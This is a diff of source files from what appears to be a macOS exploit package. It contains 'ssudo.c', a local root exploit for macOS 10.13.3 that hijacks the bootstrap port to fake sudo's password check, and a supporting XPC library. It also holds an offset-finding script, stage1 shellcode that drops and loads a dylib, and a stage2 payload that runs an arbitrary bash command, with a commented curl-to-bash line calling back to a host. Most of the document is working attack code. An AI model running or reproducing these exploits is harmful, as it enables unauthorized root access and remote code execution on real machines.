int64_t spc_read_int64(reader_t* reader)
|
||||
{
|
||||
return *(int64_t*)spc_read(reader, 8);
|
||||
}
|
||||
|
||||
double spc_read_double(reader_t* reader)
|
||||
{
|
||||
return *(double*)spc_read(reader, 8);
|
||||
}
|
||||
|
||||
uint32_t spc_read_uint32(reader_t* reader)
|
||||
{
|
||||
return *(uint32_t*)spc_read(reader, 4);
|
||||
}
|
||||
|
||||
void* spc_read_padded(reader_t* reader, size_t size)
|
||||
{
|
||||
size_t remainder = (4 - (size % 4)) % 4;
|
||||
|
||||
return spc_read(reader, size + remainder);
|
||||
}
|
||||
|
||||
char* spc_read_str(reader_t* reader)
|
||||
{
|
||||
unsigned char* end = memchr(reader->ptr, 0, reader->end - reader->ptr);
|
||||
if (!end)
|
||||
return NULL;
|
||||
|
||||
return spc_read_padded(reader, end - reader->ptr + 1);
|
||||
}
|
||||
|
||||
spc_port_t spc_reader_next_port(reader_t* reader)
|
||||
{
|
||||
if (reader->next_port >= reader->num_ports)
|
||||
return SPC_NULL_PORT;
|
||||
|
||||
reader->next_port++;
|
||||
return reader->ports[reader->next_port - 1];
|
||||
}
|
||||
|
||||
spc_value_t spc_deserialize_value(reader_t* reader);
|
||||
|
||||
spc_array_t* spc_deserialize_array(reader_t* reader)
|
||||
{
|
||||
spc_array_t* array = spc_array_create();
|
||||
spc_read_uint32(reader);
|
||||
size_t length = spc_read_uint32(reader);
|
||||
for (uint32_t i = 0; i < length; i++) {
|
||||
spc_value_t value = spc_deserialize_value(reader);
|
||||
spc_array_set_value(array, i, value);
|
||||
}
|
||||
|
||||
return array;
|
||||
}
|
||||
|
||||
spc_dictionary_t* spc_deserialize_dict(reader_t* reader)
|
||||
{
|
||||
spc_dictionary_t* dict = spc_dictionary_create();
|
||||
spc_read_uint32(reader);
|
||||
dict->num_items = spc_read_uint32(reader);
|
||||
for (uint32_t i = 0; i < dict->num_items; i++) {
|
||||
spc_dictionary_item_t* item = malloc(sizeof(spc_dictionary_item_t));
|
||||
item->key = strdup(spc_read_str(reader));
|
||||
item->value = spc_deserialize_value(reader);
|
||||
item->next = dict->items;
|
||||
dict->items = item;
|
||||
}
|
||||
|
||||
return dict;
|
||||
}
|
||||
|
||||
spc_value_t spc_deserialize_value(reader_t* reader)
|
||||
{
|
||||
spc_value_t value;
|
||||
value.type = spc_read_uint32(reader);
|
||||
switch (value.type) {
|
||||
case SPC_TYPE_NULL:
|
||||
break;
|
||||
case SPC_TYPE_BOOL:
|
||||
value.value.u64 = spc_read_uint32(reader);
|
||||
break;
|
||||
case SPC_TYPE_UINT64:
|
||||
value.value.u64 = spc_read_uint64(reader);
|
||||
break;
|
||||
case SPC_TYPE_INT64:
|
||||
value.value.i64 = spc_read_int64(reader);
|
||||
break;
|
||||
case SPC_TYPE_DOUBLE:
|
||||
value.value.dbl = spc_read_double(reader);
|
||||
break;
|
||||
case SPC_TYPE_STRING:
|
||||
spc_read_uint32(reader);
|
||||
value.value.str = strdup(spc_read_str(reader));
|
||||
break;
|
||||
case SPC_TYPE_ARRAY:
|
||||
value.value.array = spc_deserialize_array(reader);
|
||||
break;
|
||||
case SPC_TYPE_DICT:
|
||||
value.value.dict = spc_deserialize_dict(reader);
|
||||
break;
|
||||
case SPC_TYPE_SEND_PORT:
|
||||
value.value.port = spc_reader_next_port(reader);
|
||||
break;
|
||||
case SPC_TYPE_RECV_PORT:
|
||||
value.value.port = spc_reader_next_port(reader);
|
||||
break;
|
||||
case SPC_TYPE_UUID:
|
||||
value.value.ptr = malloc(0x10);
|
||||
memcpy(value.value.ptr, spc_read(reader, 0x10), 0x10);
|
||||
break;
|
||||
case SPC_TYPE_DATA:
|
||||
value.value.data.size = spc_read_uint32(reader);
|
||||
value.value.data.ptr = malloc(value.value.data.size);
|
||||
memcpy(value.value.data.ptr, spc_read_padded(reader, value.value.data.size), value.value.data.size);
|
||||
break;
|
||||
default:
|
||||
printf("Unsupported value type: 0x%x\n", value.type);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
#define MSGID_CONNECTION_INTERRUPTED 71
|
||||
|
||||
spc_message_t* spc_deserialize(spc_mach_message_t* mach_msg)
|
||||
{
|
||||
reader_t reader;
|
||||
reader.next_port = 0;
|
||||
reader.num_ports = 0;
|
||||
reader.ports = NULL;
|
||||
reader.end = (unsigned char*)mach_msg + mach_msg->header.msgh_size;
|
||||
reader.ptr = mach_msg->buf;
|
||||
|
||||
// Handle well-known message IDs
|
||||
if (mach_msg->header.msgh_id == MSGID_CONNECTION_INTERRUPTED) {
|
||||
spc_dictionary_t* dict = spc_dictionary_create();
|
||||
spc_dictionary_set_string(dict, "error", "Connection interrupted");
|
||||
printf("Connection interrupted\n");
|
||||
// TODO
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
if (mach_msg->header.msgh_bits & MACH_MSGH_BITS_COMPLEX) {
|
||||
mach_msg_body_t* body = (mach_msg_body_t*)spc_read(&reader, sizeof(mach_msg_body_t));
|
||||
for (int i = 0; i < body->msgh_descriptor_count; i++) {
|
||||
mach_msg_descriptor_type_t type = ((mach_msg_type_descriptor_t*)reader.ptr)->type;
|
||||
switch (type) {
|
||||
case MACH_MSG_PORT_DESCRIPTOR: {
|
||||
reader.ports = realloc(reader.ports, (reader.num_ports + 1) * sizeof(spc_port_t));
|
||||
mach_msg_port_descriptor_t* descriptor = (mach_msg_port_descriptor_t*)spc_read(&reader, sizeof(mach_msg_port_descriptor_t));
|
||||
reader.ports[reader.num_ports].name = descriptor->name;
|
||||
reader.ports[reader.num_ports].type = descriptor->disposition;
|
||||
reader.num_ports += 1;
|
||||
break;
|
||||
}
|
||||
case MACH_MSG_OOL_DESCRIPTOR:
|
||||
spc_read(&reader, sizeof(mach_msg_ool_descriptor_t));
|
||||
printf("Warning: ignoring OOL descriptor\n");
|
||||
break;
|
||||
case MACH_MSG_OOL_PORTS_DESCRIPTOR:
|
||||
spc_read(&reader, sizeof(mach_msg_ool_ports_descriptor_t));
|
||||
printf("Warning: ignoring OOL ports descriptor\n");
|
||||
break;
|
||||
default:
|
||||
printf("Unsupported mach message descriptor type: %d\n", type);
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void* header = spc_read(&reader, 8);
|
||||
memcpy(last_header, header, 8);
|
||||
|
||||
spc_value_t value = spc_deserialize_value(&reader);
|
||||
if (value.type != SPC_TYPE_DICT) {
|
||||
spc_value_destroy(value);
|
||||
puts("Invalid XPC message type");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
spc_message_t* msg = malloc(sizeof(spc_message_t));
|
||||
msg->remote_port.name = mach_msg->header.msgh_remote_port;
|
||||
msg->remote_port.type = MACH_MSGH_BITS_REMOTE(mach_msg->header.msgh_bits);
|
||||
msg->local_port.name = mach_msg->header.msgh_remote_port;
|
||||
msg->local_port.type = MACH_MSGH_BITS_LOCAL(mach_msg->header.msgh_bits);
|
||||
msg->id = mach_msg->header.msgh_id;
|
||||
msg->content = value.value.dict;
|
||||
|
||||
return msg;
|
||||
}
|
|
@ -0,0 +1,19 @@
|
|||
#ifndef _SERIALIZATION_H_
|
||||
#define _SERIALIZATION_H_
|
||||
|
||||
#include "datatypes.h"
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
typedef struct _spc_mach_message_t {
|
||||
mach_msg_header_t header;
|
||||
unsigned char buf[]; // variable sized body
|
||||
} spc_mach_message_t;
|
||||
|
||||
// Serializes the given dictionary into a spc_mach_message_t.
|
||||
// The returned pointer has to be free()d by the caller.
|
||||
spc_mach_message_t* spc_serialize(spc_message_t* msg);
|
||||
|
||||
spc_message_t* spc_deserialize(spc_mach_message_t* msg);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,6 @@
|
|||
#include "datatypes.h"
|
||||
#include "array.h"
|
||||
#include "dictionary.h"
|
||||
#include "serialization.h"
|
||||
#include "connection.h"
|
||||
#include "utils.h"
|
|
@ -0,0 +1,79 @@
|
|||
#include "utils.h"
|
||||
|
||||
const char* spc_errors[] = {
|
||||
"",
|
||||
"Malformed bundle",
|
||||
"Invalid path",
|
||||
"Invalid property list",
|
||||
"Invalid or missing service identifier",
|
||||
"Invalid or missing Program/ProgramArguments",
|
||||
"Could not find specified domain",
|
||||
"Could not find specified service",
|
||||
"The specified username does not exist",
|
||||
"The specified group does not exist",
|
||||
"Routine not yet implemented",
|
||||
"(n/a)",
|
||||
"Bad response from server",
|
||||
"Service is disabled",
|
||||
"Bad subsystem destination for request",
|
||||
"Path not searched for services",
|
||||
"Path had bad ownership/permissions",
|
||||
"Path is whitelisted for domain",
|
||||
"Domain is tearing down",
|
||||
"omain does not support specified action",
|
||||
"Request type is no longer supported",
|
||||
"The specified service did not ship with the operating system",
|
||||
"The specified path is not a bundle",
|
||||
"The service was superseded by a later version",
|
||||
"The system encountered a condition where behavior was undefined",
|
||||
"Out of order requests",
|
||||
"Request for stale data",
|
||||
"Multiple errors were returned; see stderr",
|
||||
"Service cannot load in requested session",
|
||||
"Process is not managed",
|
||||
"Action not allowed on singleton service",
|
||||
"Service does not support the specified action",
|
||||
"Service cannot be loaded on this hardware",
|
||||
"Service cannot presently execute",
|
||||
"Service name is reserved or invalid",
|
||||
"Reentrancy avoided",
|
||||
"Operation only supported on development builds",
|
||||
"Requested entry was cached",
|
||||
"Requestor lacks required entitlement",
|
||||
"Endpoint is hidden",
|
||||
"Domain is in on-demand-only mode",
|
||||
"The specified service did not ship in the requestor",
|
||||
"The specified service path was not in the service cache",
|
||||
"Could not find a bundle of the given identifier through LaunchServices",
|
||||
"Operation not permitted while System Integrity Protection is engaged",
|
||||
"A complete hack",
|
||||
"Service cannot load in current boot environment",
|
||||
"Completely unexpected error",
|
||||
"Requestor is not a platform binary",
|
||||
"Refusing to execute/trust quarantined program/file",
|
||||
"Domain creation with that UID is not allowed anymore",
|
||||
"System service is not in system service whitelist",
|
||||
"Unknown error",
|
||||
};
|
||||
|
||||
const char* spc_strerror(int errno)
|
||||
{
|
||||
const char* result;
|
||||
if (errno - 107 >= 52)
|
||||
result = strerror(errno);
|
||||
else
|
||||
result = spc_errors[errno - 106];
|
||||
return result;
|
||||
}
|
||||
|
||||
int mach_port_addref(mach_port_t port, mach_port_right_t right) {
|
||||
mach_port_urefs_t refs;
|
||||
kern_return_t kr = mach_port_get_refs(mach_task_self(), port, right, &refs);
|
||||
ASSERT_MACH_SUCCESS(kr, "mach_port_get_refs");
|
||||
ASSERT_MSG(refs != 0, "invalid mach port given to mach_port_addref");
|
||||
|
||||
kr = mach_port_mod_refs(mach_task_self(), port, right, 1);
|
||||
ASSERT_MACH_SUCCESS(kr, "mach_port_mod_refs");
|
||||
|
||||
return refs + 1;
|
||||
}
|
|
@ -0,0 +1,18 @@
|
|||
#ifndef _UTILS_H_
|
||||
#define _UTILS_H_
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
#define ASSERT(c) if (!(c)) { printf("[-] assertion \"" #c "\" failed\n"); exit(-1); }
|
||||
#define ASSERT_MSG(c, msg) if (!(c)) { printf("[-] %s\n", msg); exit(-1); }
|
||||
#define ASSERT_SUCCESS(r, name) if (r != 0) { printf("[-] %s failed!\n", name); exit(-1); }
|
||||
#define ASSERT_MACH_SUCCESS(r, name) if (r != 0) { printf("[-] %s failed: %s!\n", name, mach_error_string(r)); exit(-1); }
|
||||
#define ASSERT_POSIX_SUCCESS(r, name) if (r != 0) { printf("[-] %s failed: %s!\n", name, strerror(r)); exit(-1); }
|
||||
|
||||
const char* spc_strerror(int errno);
|
||||
|
||||
int mach_port_addref(mach_port_t port, mach_port_right_t right);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,6 @@
|
|||
CC = clang
|
||||
CFLAGS += -I../libspc
|
||||
LIB = $(wildcard ../libspc/*.c)
|
||||
|
||||
ssudo: ssudo.c $(LIB)
|
||||
$(CC) $(CFLAGS) -o ssudo $(LIB) ssudo.c
|
Binary file not shown.
|
@ -0,0 +1,278 @@
|
|||
/*
|
||||
* ssudo.c - local root exploit for macOS 10.13.3
|
||||
*
|
||||
* Achieves MitM between sudo and opendirectoryd (which verifies passwords) by
|
||||
* abusing the task_set_special_port API to overwrite the bootstrap port.
|
||||
*
|
||||
* Program flow:
|
||||
* 1. Overwrite the bootstrap port, start threads to bridge XPC traffic to
|
||||
* opendirectoryd, forward traffic to launchd but resolve opendirectoryd
|
||||
* to our own port instead
|
||||
* 2. Fork and exec sudo. Sudo will talk to opendirectoryd to verify the
|
||||
* password. We modify the reply to indicate success
|
||||
* 3. sudo executes this binary again. We detect that and restore the bootstrap
|
||||
* port, then run the requested command
|
||||
*
|
||||
* Limitations: currently stderr is set to stdout in the child processes, see comments below
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <signal.h>
|
||||
#include <unistd.h>
|
||||
#include <pthread.h>
|
||||
#include <bootstrap.h>
|
||||
#include <errno.h>
|
||||
|
||||
#include <spc.h>
|
||||
|
||||
#define TARGET_SERVICE "com.apple.system.opendirectoryd.api"
|
||||
#define SERVICE_NAME "net.saelo.hax"
|
||||
|
||||
// Need to declare this since it's not included in bootstrap.h
|
||||
extern kern_return_t bootstrap_register2(mach_port_t bp, name_t service_name, mach_port_t sp, int flags);
|
||||
|
||||
mach_port_t bootstrap_port, fake_bootstrap_port, fake_service_port, real_service_port;
|
||||
pthread_t fake_service_thread, bridge_threads[2];
|
||||
|
||||
void get_bootstrap_port()
|
||||
{
|
||||
kern_return_t kr = task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &bootstrap_port);
|
||||
ASSERT_MACH_SUCCESS(kr, "task_get_special_port");
|
||||
}
|
||||
|
||||
// Generic XPC bridge. Works only for messages that do not expect a reply.
|
||||
void* bridge_connection(void* arg)
|
||||
{
|
||||
spc_connection_t* bridge = arg;
|
||||
while (1) {
|
||||
spc_message_t* msg = spc_recv(bridge->receive_port);
|
||||
|
||||
msg->local_port.name = MACH_PORT_NULL;
|
||||
msg->local_port.type = 0;
|
||||
msg->remote_port.name = bridge->send_port;
|
||||
msg->remote_port.type = MACH_MSG_TYPE_COPY_SEND;
|
||||
|
||||
// Hack 3: replace "error: 5000" with "error: 0" to indicate success
|
||||
spc_dictionary_item_t* item = spc_dictionary_lookup(msg->content, "error");
|
||||
if (item)
|
||||
item->value.value.u64 = 0;
|
||||
|
||||
spc_send(msg);
|
||||
|
||||
spc_message_destroy(msg);
|
||||
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void* fake_service_main(void* arg)
|
||||
{
|
||||
int ret;
|
||||
|
||||
// Await incoming connection
|
||||
spc_connection_t* client_connection = spc_accept_connection(fake_service_port);
|
||||
spc_connection_t* service_connection = spc_create_connection_mach_port(real_service_port);
|
||||
|
||||
spc_connection_t* bridge_1 = malloc(sizeof(spc_connection_t));
|
||||
spc_connection_t* bridge_2 = malloc(sizeof(spc_connection_t));
|
||||
|
||||
bridge_1->receive_port = client_connection->receive_port;
|
||||
bridge_1->send_port = service_connection->send_port;
|
||||
bridge_2->receive_port = service_connection->receive_port;
|
||||
bridge_2->send_port = client_connection->send_port;
|
||||
|
||||
ret = pthread_create(&bridge_threads[0], NULL, &bridge_connection, bridge_1);
|
||||
ASSERT_POSIX_SUCCESS(ret, "pthread_create");
|
||||
|
||||
ret = pthread_create(&bridge_threads[1], NULL, &bridge_connection, bridge_2);
|
||||
ASSERT_POSIX_SUCCESS(ret, "pthread_create");
|
||||
|
||||
free(client_connection);
|
||||
free(service_connection);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void start_fake_service()
|
||||
{
|
||||
kern_return_t kr;
|
||||
|
||||
// Resolve real service port for later
|
||||
kr = bootstrap_look_up(bootstrap_port, TARGET_SERVICE, &real_service_port);
|
||||
ASSERT_MACH_SUCCESS(kr, "bootstrap_look_up");
|
||||
|
||||
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &fake_service_port);
|
||||
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
|
||||
|
||||
kr = bootstrap_register2(bootstrap_port, SERVICE_NAME, fake_service_port, 0);
|
||||
ASSERT_MACH_SUCCESS(kr, "bootstrap_register2");
|
||||
|
||||
// Run the fake service in a separate thread
|
||||
int ret = pthread_create(&fake_service_thread, NULL, &fake_service_main, NULL);
|
||||
ASSERT_POSIX_SUCCESS(ret, "pthread_create");
|
||||
}
|
||||
|
||||
void setup_fake_bootstrap_port()
|
||||
{
|
||||
kern_return_t kr;
|
||||
mach_port_t fake_bootstrap_send_port;
|
||||
|
||||
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &fake_bootstrap_port);
|
||||
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
|
||||
|
||||
mach_msg_type_name_t aquired_type;
|
||||
kr = mach_port_extract_right(mach_task_self(), fake_bootstrap_port, MACH_MSG_TYPE_MAKE_SEND, &fake_bootstrap_send_port, &aquired_type);
|
||||
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
|
||||
|
||||
// Hack 1: replace the bootstrap port of this and all child processes with our own port
|
||||
kr = task_set_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, fake_bootstrap_send_port);
|
||||
ASSERT_MACH_SUCCESS(kr, "task_set_special_port");
|
||||
}
|
||||
|
||||
void restore_bootstrap_port()
|
||||
{
|
||||
spc_dictionary_t* msg = spc_dictionary_create();
|
||||
spc_dictionary_t* reply;
|
||||
spc_domain_routine(0x31337, msg, &reply);
|
||||
|
||||
mach_port_t bootstrap_port = spc_dictionary_get_send_port(reply, "original_bootstrap_port");
|
||||
kern_return_t kr = task_set_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, bootstrap_port);
|
||||
ASSERT_MACH_SUCCESS(kr, "task_set_special_port");
|
||||
|
||||
spc_dictionary_destroy(msg);
|
||||
spc_dictionary_destroy(reply);
|
||||
}
|
||||
|
||||
void handle_sigchld()
|
||||
{
|
||||
exit(0);
|
||||
}
|
||||
|
||||
// Spawn the (privileged) child process with our controlled bootstrap port
|
||||
void spawn_child(const char* self, const char* command)
|
||||
{
|
||||
int stdin_pipe[2];
|
||||
pipe(stdin_pipe);
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid == 0) {
|
||||
close(stdin_pipe[1]);
|
||||
|
||||
// sudo will only preserve the first three file descriptors, so we abuse
|
||||
// stdout to remporarily hold on to stdin.
|
||||
// TODO to fix this we'd have to fetch the original file descriptors
|
||||
// from the parent via XPC.
|
||||
dup2(STDOUT_FILENO, STDERR_FILENO);
|
||||
dup2(STDIN_FILENO, STDOUT_FILENO);
|
||||
dup2(stdin_pipe[0], STDIN_FILENO);
|
||||
|
||||
execl("/usr/bin/sudo", "/usr/bin/sudo", "-p", "", "-S", self, command, NULL);
|
||||
ASSERT_POSIX_SUCCESS(errno, "execl");
|
||||
} else if (pid < 0) {
|
||||
puts("Fork failed");
|
||||
ASSERT_POSIX_SUCCESS(errno, "fork");
|
||||
}
|
||||
close(stdin_pipe[0]);
|
||||
|
||||
struct sigaction sa;
|
||||
sa.sa_handler = &handle_sigchld;
|
||||
sigemptyset(&sa.sa_mask);
|
||||
sa.sa_flags = SA_RESTART | SA_NOCLDSTOP;
|
||||
if (sigaction(SIGCHLD, &sa, 0) == -1) {
|
||||
printf("sigaction failed\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
// Send a "password" so sudo continues
|
||||
write(stdin_pipe[1], "i_can_haz_root\n", 16);
|
||||
}
|
||||
|
||||
void bridge_launchd_connection()
|
||||
{
|
||||
// For launchd messages, libxpc checks that the reply comes from pid 1 and uid 0.
|
||||
// As such, we have to let launchd send the replies directly to our child process.
|
||||
// However, we can manipulate the messages sent to launchd and can thus resolve
|
||||
// services to different (controlled) ports.
|
||||
|
||||
while (1) {
|
||||
// Wait for the next bootstrap message from a child process.
|
||||
spc_message_t* msg = spc_recv(fake_bootstrap_port);
|
||||
|
||||
// Special routine: allow child processes to restore the bootstrap port
|
||||
if (spc_dictionary_get_uint64(msg->content, "routine") == 0x31337) {
|
||||
spc_dictionary_t* reply = spc_dictionary_create();
|
||||
spc_dictionary_set_send_port(reply, "original_bootstrap_port", bootstrap_port);
|
||||
spc_reply(msg, reply);
|
||||
spc_message_destroy(msg);
|
||||
spc_dictionary_destroy(reply);
|
||||
continue;
|
||||
}
|
||||
|
||||
// Rewrite source (our child process) and destination (real launchd) of message.
|
||||
msg->local_port.name = msg->remote_port.name;
|
||||
msg->local_port.type = MACH_MSG_TYPE_MOVE_SEND_ONCE;
|
||||
msg->remote_port.name = bootstrap_port;
|
||||
msg->remote_port.type = MACH_MSG_TYPE_COPY_SEND;
|
||||
|
||||
// Possibly modify the message before forwarding to launchd
|
||||
if (spc_dictionary_get_send_port(msg->content, "domain-port") == fake_bootstrap_port) {
|
||||
// Must replace our fake bootstrap port in the content of the message with the real one.
|
||||
spc_dictionary_set_send_port(msg->content, "domain-port", bootstrap_port);
|
||||
}
|
||||
if (strcmp(spc_dictionary_get_string(msg->content, "name"), TARGET_SERVICE) == 0) {
|
||||
// Hack 2: resolve the target service to our fake service instead >:)
|
||||
spc_dictionary_set_string(msg->content, "name", SERVICE_NAME);
|
||||
|
||||
// Must also change a few of the other fields of the message...
|
||||
spc_dictionary_set_uint64(msg->content, "flags", 0);
|
||||
spc_dictionary_set_uint64(msg->content, "subsystem", 5);
|
||||
spc_dictionary_set_uint64(msg->content, "routine", 207);
|
||||
spc_dictionary_set_uint64(msg->content, "type", 7);
|
||||
}
|
||||
|
||||
// Forward to launchd
|
||||
spc_send(msg);
|
||||
|
||||
spc_message_destroy(msg);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
if (argc < 2) {
|
||||
printf("Usage: %s command\n", argv[0]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (getuid() == 0) {
|
||||
// We are being executed by sudo. We now need to restore the original
|
||||
// bootstrap port and stdin fd and then execute the requested command
|
||||
restore_bootstrap_port();
|
||||
if (!fork()) {
|
||||
dup2(STDOUT_FILENO, STDIN_FILENO);
|
||||
dup2(STDERR_FILENO, STDOUT_FILENO);
|
||||
return execl("/bin/bash", "/bin/bash", "-c", argv[1], NULL);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Copy command into one string suitable for "bash -c"
|
||||
size_t size = 0;
|
||||
for (int i = 1; i < argc; i++) {
|
||||
size += strlen(argv[i]) + 1;
|
||||
}
|
||||
char* command = calloc(size, 1);
|
||||
for (int i = 1; i < argc; i++) {
|
||||
strlcat(command, argv[i], size);
|
||||
strlcat(command, " ", size); // final whitespace will not be written due to size limit
|
||||
}
|
||||
|
||||
get_bootstrap_port();
|
||||
start_fake_service();
|
||||
setup_fake_bootstrap_port();
|
||||
spawn_child(argv[0], command);
|
||||
bridge_launchd_connection();
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,13 @@
|
|||
|
||||
all:
|
||||
+$(MAKE) -C stage1
|
||||
+$(MAKE) -C stage2
|
||||
|
||||
install:
|
||||
cp stage1/stage1.bin ../../../../data/exploits/CVE-2018-4233/stage1.bin
|
||||
cp stage2/stage2.dylib ../../../../data/exploits/CVE-2018-4404/stage2.dylib
|
||||
|
||||
clean:
|
||||
rm -f stage1/stage1.bin
|
||||
rm -f stage2/stage2.dylib
|
||||
|
|
@ -0,0 +1,30 @@
|
|||
#!/usr/bin/env ruby
|
||||
# -*- coding: binary -*-
|
||||
|
||||
#`brew install radare2` <-- older version :(
|
||||
#`git clone https://github.com/radare/radare2 && cd radare2 && ./sys/install.sh`
|
||||
|
||||
def grab_offset(lib_file, function)
|
||||
offset_string = `r2 -2qQ -c 'aa; afl | grep #{function}' #{lib_file}`
|
||||
offset_string[0..9]
|
||||
end
|
||||
|
||||
version = `sw_vers -productVersion`.strip
|
||||
puts " '#{version}' => {"
|
||||
puts " :dyld_stub_loader => '#{grab_offset("/usr/lib/system/libdyld.dylib", "dyld_stub_binder")}',"
|
||||
puts " :dlopen => '#{grab_offset("/usr/lib/system/libdyld.dylib", "sym._dlopen")}',"
|
||||
puts " :confstr => '#{grab_offset("/usr/lib/system/libsystem_c.dylib", "sym._confstr")}',"
|
||||
puts " :strlen => '#{grab_offset("/usr/lib/system/libsystem_c.dylib", "sym._strlen")}',"
|
||||
|
||||
strlen_disasm = `r2 -2qQ -c "iS | grep nl_symbol_ptr; s sym.imp.strlen; pd 1" /System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore`
|
||||
#strlen_disasm = '''
|
||||
#12 0x00b67000 16 0x00b66000 16 -rw- 12.__DATA.__nl_symbol_ptr
|
||||
#;-- imp.strlen:
|
||||
#0x00ace162 ff25808d0900 jmp qword [0x00b66ee8] ; [0xb66ee8:8]=0xacf30e
|
||||
#'''
|
||||
got_offset = strlen_disasm.split(" ")[3].to_i(16)
|
||||
strlen_got_entry = strlen_disasm.scan(/\[(\S+)\]/).first.first.to_i(16)
|
||||
strlen_got_offset = (strlen_got_entry - got_offset).to_s(16)
|
||||
puts " :strlen_got => '0x#{strlen_got_offset}',"
|
||||
puts " },"
|
||||
|
|
@ -0,0 +1,7 @@
|
|||
|
||||
.PHONY: all
|
||||
all: stage1.js
|
||||
|
||||
stage1.js: stage1.asm
|
||||
@nasm -o stage1.bin stage1.asm
|
||||
|
|
@ -0,0 +1,70 @@
|
|||
BITS 64
|
||||
|
||||
start:
|
||||
; int 3
|
||||
|
||||
; Step 0: function prologue
|
||||
sub rsp, 0x1008 ; ensure 16-byte alignment
|
||||
|
||||
; Step 1: call confstr() and build the path to our stage 2 .dylib on the stack
|
||||
mov rdx, 0x1000
|
||||
mov rsi, rsp
|
||||
mov rdi, 65537 ; _CS_DARWIN_USER_TEMP_DIR
|
||||
mov rax, 0x4141414141414141 ; will be replaced with &confstr
|
||||
call rax ; confstr()
|
||||
test rax, rax
|
||||
jnz build_path
|
||||
mov rax, 0xffff000000000001 ; return 1 to indicate failure in confstr
|
||||
jmp exit
|
||||
|
||||
build_path:
|
||||
dec rax
|
||||
mov rcx, rsp
|
||||
add rcx, rax
|
||||
mov dword [rcx], 0x79642e78 ; x.dy
|
||||
mov dword [rcx+4], 0x62696c ; lib\x00
|
||||
|
||||
; Step 2: write dylib to filesystem
|
||||
mov rax, 0x2000005 ; sys_open
|
||||
mov rdi, rsp ; path
|
||||
mov rdx, 0x1ed ; protections (0644)
|
||||
mov rsi, 0x602 ; O_TRUNC | O_CREAT | O_RDWR
|
||||
syscall
|
||||
jnb write_file
|
||||
mov rax, 0xffff000000000002 ; return 2 to indicate failure in open
|
||||
jmp exit
|
||||
|
||||
write_file:
|
||||
mov rdi, rax
|
||||
mov rsi, 0x4242424242424242
|
||||
mov r8, 0x4343434343434343 ; rdx is set to zero during the syscall...
|
||||
write_loop:
|
||||
mov rdx, r8
|
||||
mov rax, 0x2000004 ; sys_write
|
||||
syscall
|
||||
jnb write_succeeded
|
||||
mov rax, 0xffff000000000003 ; return 3 to indicate failure in write
|
||||
jmp exit
|
||||
write_succeeded:
|
||||
sub r8, rax
|
||||
add rsi, rax
|
||||
test r8, r8
|
||||
jnz write_loop
|
||||
|
||||
; Step 3: open dylib with dlopen
|
||||
dlopen:
|
||||
xor rsi, rsi
|
||||
mov rdi, rsp
|
||||
mov rax, 0x4444444444444444 ; will be replaced with &dlopen
|
||||
call rax
|
||||
test rax, rax
|
||||
jnz exit_success
|
||||
mov rax, 0xffff000000000004 ; return 4 to indicate failure in dlopen
|
||||
jmp exit
|
||||
|
||||
; Step 4: function epilogue and return
|
||||
exit_success:
|
||||
mov rax, 0xffff000000000000 ; return 0 for success
|
||||
exit:
|
||||
add rsp, 0x1008
|
||||
ret
|
|
@ -0,0 +1,8 @@
|
|||
CC = clang
|
||||
|
||||
.PHONY: all
|
||||
all: stage2.dylib
|
||||
|
||||
stage2.dylib: payload.c
|
||||
$(CC) -shared -o stage2.dylib payload.c
|
||||
|
|
@ -0,0 +1,42 @@
|
|||
#include <stdlib.h>
|
||||
|
||||
#include <mach/mach_port.h>
|
||||
|
||||
struct spawn_via_launchd_attr {
|
||||
uint64_t spawn_flags;
|
||||
const char *spawn_path;
|
||||
const char *spawn_chdir;
|
||||
const char * const * spawn_env;
|
||||
const mode_t *spawn_umask;
|
||||
mach_port_t *spawn_observer_port;
|
||||
const cpu_type_t *spawn_binpref;
|
||||
size_t spawn_binpref_cnt;
|
||||
void * spawn_quarantine;
|
||||
const char *spawn_seatbelt_profile;
|
||||
const uint64_t *spawn_seatbelt_flags;
|
||||
};
|
||||
|
||||
#define spawn_via_launchd(a, b, c) _spawn_via_launchd(a, b, c, 3)
|
||||
pid_t _spawn_via_launchd(const char *label, const char * const *argv, const struct spawn_via_launchd_attr *spawn_attrs, int struct_version);
|
||||
|
||||
const char payload_cmd_placeholder[1024] = "PAYLOAD_CMD_PLACEHOLDER";
|
||||
|
||||
__attribute__((constructor))
|
||||
void _injection()
|
||||
{
|
||||
const char* argv[] = {
|
||||
"/bin/bash",
|
||||
"-c",
|
||||
payload_cmd_placeholder,
|
||||
/*"open /Applications/Calculator.app/Contents/MacOS/Calculator",*/
|
||||
/*"curl http://" HOST ":" HTTP_PORT "/pwn.sh | bash > /dev/tcp/" HOST "/" TCPLOG_PORT " 2>&1",*/
|
||||
0,
|
||||
};
|
||||
|
||||
mach_port_t mpo = MACH_PORT_NULL;
|
||||
struct spawn_via_launchd_attr attrs;
|
||||
memset(&attrs, 0, sizeof(attrs));
|
||||
attrs.spawn_observer_port = &mpo;
|
||||
|
||||
